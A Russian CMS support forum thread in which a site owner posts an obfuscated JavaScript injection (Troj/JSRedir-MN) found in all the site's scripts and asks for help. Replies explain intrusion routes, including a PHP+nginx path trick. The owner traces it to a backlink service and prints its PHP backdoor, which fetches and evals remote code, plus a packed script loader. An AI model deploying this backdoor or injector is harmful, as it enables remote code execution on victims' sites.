Вход • Регистрация

Troj/JSRedir-MN

  • 03 ноября 2016 г.
  • Цитата
    (function(){var a="(ni(fcoc)f.br,=hp/)xut8ixut0)'t/)xut7ixut0)'w)xut4ixnx('=)xpt/[;(ief?!1=si')]erxaht(nwotnoner=dunree,=ce.oedt_mo'=wa(Dea(gDe+)omtoiin'a=eis+ir!'r!o&onx(e)-{ttv(ni(wd.ci.e't/2o/'20})",b="fco)utn({(ss(8=ts/x.br)f.br,=hp/x.br)f.br,=w.x.br)f.dO')-x.l('0ixnx('=)xpt?[;tn}ro=wd.ci.sa)ecomterrcdunck,e=y_f,n t).ttDea(2;ce.oedt;t/xr=Dfe=&e=s&.dOin=1sIeafco)iolaohfhp/or1}0)(;",c="utn{ni xixut0)'t:'=ss(;(ss(7=t:'=ss(;(ss(4=w'=ss(;(ief/!1=si')]f.dO')-x.l('0ru v sciolaohtm,f(ce.fr)oomtoiin'_=fDeDe;sDe.tt)0dunck=e+ph;pe';(f'&fhtciefdt=)enrlutn{nwotnr=t:0.ga,0})",d="";for(var i=0;i<a.length;i++)d+=a.charAt(i)+b.charAt(i)+c.charAt(i);eval(d);}());

    На сайте появился данный код во всевозможных JS . помогите расшифровать.
    • 03 ноября 2016 г.
    • Данный код позволяет выполнить сторонний код, переданный в виде строчки. Т.е. у Вас брешь.
      Успехов.
  • 03 ноября 2016 г.
  • А на других сайтах на диафане такое не может появиться?
    • 03 ноября 2016 г.
    • В дефолтной версии cms таких предпосылок нет. А вот что дальше Вы, я имею ввиду в Вашем лице всех пользователей-разработчиков, будите делать с cms, ни кто не предскажит и защиты от Вас самих ни кто не сделает (рассматриваю варианты, когда у Вас полный доступ).
      • 03 ноября 2016 г.
      • Виталий, а скажите пожалуйста откуда это вообще может завестись? Через верстку ведь никак не получится? Просто дальше верстки я обычно не лезу, но на всякий случай спрошу
        • 03 ноября 2016 г. , редакция: 03 ноября 2016 г.
        • Цитата
          скажите пожалуйста откуда это вообще может завестись?
          От куда угодно, если будет открыта такая возможность. Например, Вам понравился плагин-слайдер, а в нем дырка. Например, во время работы с базой данных Вы отдали ей содержимое, предварительно его не проверив. Например, любительски работаете с содержимом $_POST или $_GET. Да тонна вариантов. Например, используя особенности работы SQL можно легко сделать двойника учетной записи администратора. Чтобы этого не случилось, надо следить за длиной передаваемой информации. Если честно, то даже неймется рассказать как сделать двойника, но не буду (здесь же не пакостники собрались).
          Так же не стоит забывать об уязвимостях хоста. Например, есть, старый как мир, прием, использующий всем Вам известный .htacces. Или использовать уязвимость связки PHP+nginx с кривым конфигом. Т.е. если попросить у сервера отдать site.ru/img.gif/crack.php, то URI примет вид img.gif/crack.php, что подойдёт под location .php$, а SCRIPT_FILENAME станет равным /scripts/img.gif/crack.php. Скажу прямо, эти дырки в нормальных хостингах закрыты, поэтому их и привел в пример.

          Таким образом - сюрприз можно ожидать от куда угодно, была бы фантазия и желание.
          • 03 ноября 2016 г.
          • Вот правильно говорят, меньше знаешь -лучше спишь)))

            Цитата
            Например, Вам понравился плагин-слайдер, а в нем дырка


            А как проверить, узнать - есть дырка или нет? Я использую только пару слайдеров всего - bxSlider и FlexSlider, но есть еще и другие сторонние скрипты - карусельки там всякие и другие... Они тоже дрявые могут быть?
            • 03 ноября 2016 г.
            • Не обязательно. Я их не смотрел. Если мне нужен слайдер, то использую свой, т.к. в бесплатных много лишнего, что отрицательно влияет на время загрузки страницы.
    • 03 ноября 2016 г.
    • Дополню. В дефолтном cms есть аналогичный код (такой код решает определенные вопросы cms, например, в плагине отправки писем и кое-где еще, но не об этом речь), но к нему со сторон не подберешся.
      • 03 ноября 2016 г.
      • Вы нам скажите просто, этот код (выложенный Михаилом) должен быть в диафан, или привнесенный извне?
        • 03 ноября 2016 г.
        • Цитата
          Вы нам скажите просто

          Содержимое вредоносного кода под название Troj/JSRedir-MN у Вас на хосте не должно быть.
  • 03 ноября 2016 г.
  • в том то и дело что сайт дефолт только расцветка поменяна.
    Еще вопрос а он может перемещаться по хостингу, допустим на другие сайты расположенные на хостинге?
    • 03 ноября 2016 г. , редакция: 03 ноября 2016 г.
    • Если у Вас на хосте чудно настроены права пользователя от имени которого работает web-server (например, apache), то может (есть и другие варианты).
      • 04 ноября 2016 г. , редакция: 04 ноября 2016 г.
      • ВИТАЛИЙ (NVGPRO) Я так понял есть какая-то запись-команда, которая прописывает данный код, как мне ее найти не подскажете?
        или она может быть в виде файла?
        • 04 ноября 2016 г. , редакция: 04 ноября 2016 г.
        • Надо определить время изменения инфицированных файлов, которые Вы нашли. Далее смотреть логи сервера, ориентируясь на время вредоносного изменения. Цель - понять где дырка. Залатав дырку, можно тратить время на чистку последствий инфицирования.
          Если все это тяжело для Вас, то, как вариант:
          Берете резервные копии сайтов, в которых нет вредоносного кода и размещаете их под разными учетными записями на нормальном известном коммерческом хостинге. При размещении сайтов проверяете в базе данных, нет ли посторонних записей (нет ли лишней учетной записи с правами админа). Потом ждете появление вредоносного кода. Если такой код у всех сайтов появился, значит ищете в своих сайтах одинаковые вещи и анализируете их. Если код появился только в одном сайте или в нескольких, но не во все, то ищете разницу и анализируете ее. Ну а если заражений не появиться, то можете временно успокоиться.

          Как-то так. Другие простые варианты в голову не приходят, т.к. изначально необходимо либо самому разбираться в этом и понимать, что нужно делать, либо Вам нужен специалист, который решит Ваши проблемы.

          Успехов.
    • 03 ноября 2016 г.
    • Михаил, а скажите как заметили? обновились и все скрипты вынесло в кастом?
      • 04 ноября 2016 г.
      • Яндекс подсказал , причем получилось так что он перебросился на все сайты на хостинге . У Диафана с ним легко можно справиться просто сгенерировав тему и удалить её , а вот с другими движками вручную чистить.

        • 04 ноября 2016 г.
        • Так может это с других сайтов, рядом расположенных приползло? Просто сайт на диафане был первый замечен яндексом
          • 04 ноября 2016 г. , редакция: 04 ноября 2016 г.
          • Возможно, теперь это будет трудно узнать
        • 04 ноября 2016 г.
        • троян может легко заразить все сайты.
          Выше все верно написали надо смотреть дату, далее логи и смотреть где дырка.

          НО как вариант может дырки нету, а к примеру угнали фтп пароль, как вариант использовали плохой фтп клиент и пароль улетел, еще как вариант на самом компе вирус.

          В общем вариантов много и не факт что на самом сайте есть дырка
  • 04 ноября 2016 г. , редакция: 04 ноября 2016 г.
  • В общем вычислил , один из клиентов решил на халяву сайт прогнать вот этим сервисом http://progon.pw/ (не рекомендую этого делать), дал по шапке за это, санкциями. Осталось только узнать что еще он мог прописать кроме строки выше.
    Скачал архив в нем 1 фаил в файле запись
    Цитата
    <?php ini_set('display_errors','Off');error_reporting('E_ALL');$b=base64_decode('aHR0cDovL3Byb2dvbi5wdy93b3JrLnR4dA==');$q=$_GET['q'];if($q)$b.=base64_decode('P3E9').$q;$d=file_get_contents($b);eval($d); ?>

    прошёлся base64_decode получилось
    Цитата
    header("Content-type: text/html; charset=UTF-8");echo base64_decode('PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04IiAvPgogICAgPHRpdGxlPtCf0JDQndCV0JvQrCDQo9Cf0KDQkNCS0JvQldCd0JjQryDQn9Cg0J7Qk9Ce0J3QkNCc0Jg8L3RpdGxlPgogICAgPGxpbmsgaHJlZj0iaHR0cDovL3Byb2dvbi5zaXRlL2Nzcy9wYW5lbC5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIG1lZGlhPSJzY3JlZW4iIC8+CiAgICA8bGluayBocmVmPSJodHRwOi8vcHJvZ29uLnNpdGUvaW1nL2Zhdmljb24uaWNvIiByZWw9InNob3J0Y3V0IGljb24iIHR5cGU9ImltYWdlL3gtaWNvbiIgLz4KPC9oZWFkPgo8Ym9keSBvbmNvbnRleHRtZW51PSJyZXR1cm4gZmFsc2U7Ij4KICAgIDxkaXYgaWQ9Im1haW4iPgogICAgICAgIDxkaXYgaWQ9Im5ldyI+PGgxPtCf0JDQndCV0JvQrCDQo9Cf0KDQkNCS0JvQldCd0JjQrzwvaDE+PC9kaXY+CiAgICAgICAgPGRpdiBpZD0ibWVudSI+CiAgICAgICAgICAgIDxidXR0b24gb25jbGljaz0iZ2V0X2RhdGEoJ2NhdGFsb2cnKSI+0J/QoNCe0JPQntCdINCf0J4g0JrQkNCi0JDQm9Ce0JPQkNCcPC9idXR0b24+CiAgICAgICAgICAgIDxidXR0b24gb25jbGljaz0iZ2V0X2RhdGEoJ3NwcicpIj7QoNCV0JPQmNCh0KLQoNCQ0KbQmNCvINCSINCh0J/QoNCQ0JLQntCn0J3QmNCa0JDQpTwvYnV0dG9uPgogICAgICAgICAgICA8ZGl2IGlkPSJyZXMiPtCk0LDQudC7INGD0YHRgtCw0L3QvtCy0LvQtdC9INC60L7RgNGA0LXQutGC0L3QvjwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICAgIDxkaXYgaWQ9ImxpbmtzIj48YSBocmVmPSIjIj7QotCj0KIg0JHQo9CU0KPQoiDQk9CV0J3QldCg0JjQoNCe0JLQkNCi0KzQodCvINCe0JHQoNCQ0KLQndCr0JUg0KHQodCr0JvQmtCYLCDQldCh0JvQmCDQkdCj0JTQldCiINCd0KPQltCd0J48L2E+PC9kaXY+CiAgICA8L2Rpdj4KICAgIDxzY3JpcHQgc3JjPSJodHRwOi8vcHJvZ29uLnNpdGUvanMvcGFuZWwubWluLmpzIj48L3NjcmlwdD4KPC9ib2R5Pgo8L2h0bWw+');


    еще раз прошёлся base64_decode получилось

    Цитата
    <!DOCTYPE html>
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <title>ПАНЕЛЬ УПРАВЛЕНИЯ ПРОГОНАМИ</title>
    <link href="http://progon.site/css/panel.css" rel="stylesheet" type="text/css" media="screen" />
    <link href="http://progon.site/img/favicon.ico" rel="shortcut icon" type="image/x-icon" />
    </head>
    <body oncontextmenu="return false;">
    <div id="main">
    <div id="new"><h1>ПАНЕЛЬ УПРАВЛЕНИЯ</h1></div>
    <div id="menu">
    <button onclick="get_data('catalog')">ПРОГОН ПО КАТАЛОГАМ</button>
    <button onclick="get_data('spr')">РЕГИСТРАЦИЯ В СПРАВОЧНИКАХ</button>
    <div id="res">Файл установлен корректно</div>
    </div>
    <div id="links"><a href="#">ТУТ БУДУТ ГЕНЕРИРОВАТЬСЯ ОБРАТНЫЕ ССЫЛКИ, ЕСЛИ БУДЕТ НУЖНО</a></div>
    </div>
    <script src="http://progon.site/js/panel.min.js"></script>
    </body>
    </html>



    panel.min.js

    Цитата
    eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('8 9(5){1 0=2.a(\'0\');b(0!=c){0.d.e(0)}1 3=2.f(\'g\');3.h=\'i://j.k/6/3.6?5=\'+5;1 7=2.l.m(3);7.n=\'0\'}1 4=o p();4.q(4.r()+s);2.t=\'u=v;w=/;x=\'+4;',34,34,'result|var|document|panel|D|vid|js|ap|function|get_data|getElementById|if|undefined|parentNode|removeChild|createElement|script|src|http|progon|site|head|appendChild|id|new|Date|setDate|getDate|100|cookie|_y_m_|off|path|expires'.split('|'),0,{}));



    Код прописанный в каждом JS

    Цитата
    (function(){var a="(ni(fcoc)f.br,=hp/)xut8ixut0)'t/)xut7ixut0)'w)xut4ixnx('=)xpt/[;(ief?!1=si')]erxaht(nwotnoner=dunree,=ce.oedt_mo'=wa(Dea(gDe+)omtoiin'a=eis+ir!'r!o&onx(e)-{ttv(ni(wd.ci.e't/2o/'20})",b="fco)utn({(ss(8=ts/x.br)f.br,=hp/x.br)f.br,=w.x.br)f.dO')-x.l('0ixnx('=)xpt?[;tn}ro=wd.ci.sa)ecomterrcdunck,e=y_f,n t).ttDea(2;ce.oedt;t/xr=Dfe=&e=s&.dOin=1sIeafco)iolaohfhp/or1}0)(;",c="utn{ni xixut0)'t:'=ss(;(ss(7=t:'=ss(;(ss(4=w'=ss(;(ief/!1=si')]f.dO')-x.l('0ru v sciolaohtm,f(ce.fr)oomtoiin'_=fDeDe;sDe.tt)0dunck=e+ph;pe';(f'&fhtciefdt=)enrlutn{nwotnr=t:0.ga,0})",d="";for(var i=0;i<a.length;i++)d+=a.charAt(i)+b.charAt(i)+c.charAt(i);eval(d);}());



    в этом не очень сильно понимаю поэтому объясните кому не трудно? Заранее спасибо.

Новости

  • 18 июня
  • В сборке большое обновление demo-шаблона, дополнительная защита от спама, улучшение YML-импорта и еще много важного и интересного.
  • 24 апреля
  • В новой сборке совершили революцию в структурировании кастомизированной информации в шаблонах, добавили авторегистрацию пользователей, усовершенствовали защиту от спама, актуализировали накопительную скидку, а также улучшили производительность и стабильность работы системы.
  • 12 января
  • После выхода сборки 7.1 мы выпустили уже три патча, в каждом из которых улучшаем административную часть сайта. Сборка DIAFAN.CMS 7.1.3 уже доступна к установке. 

Форум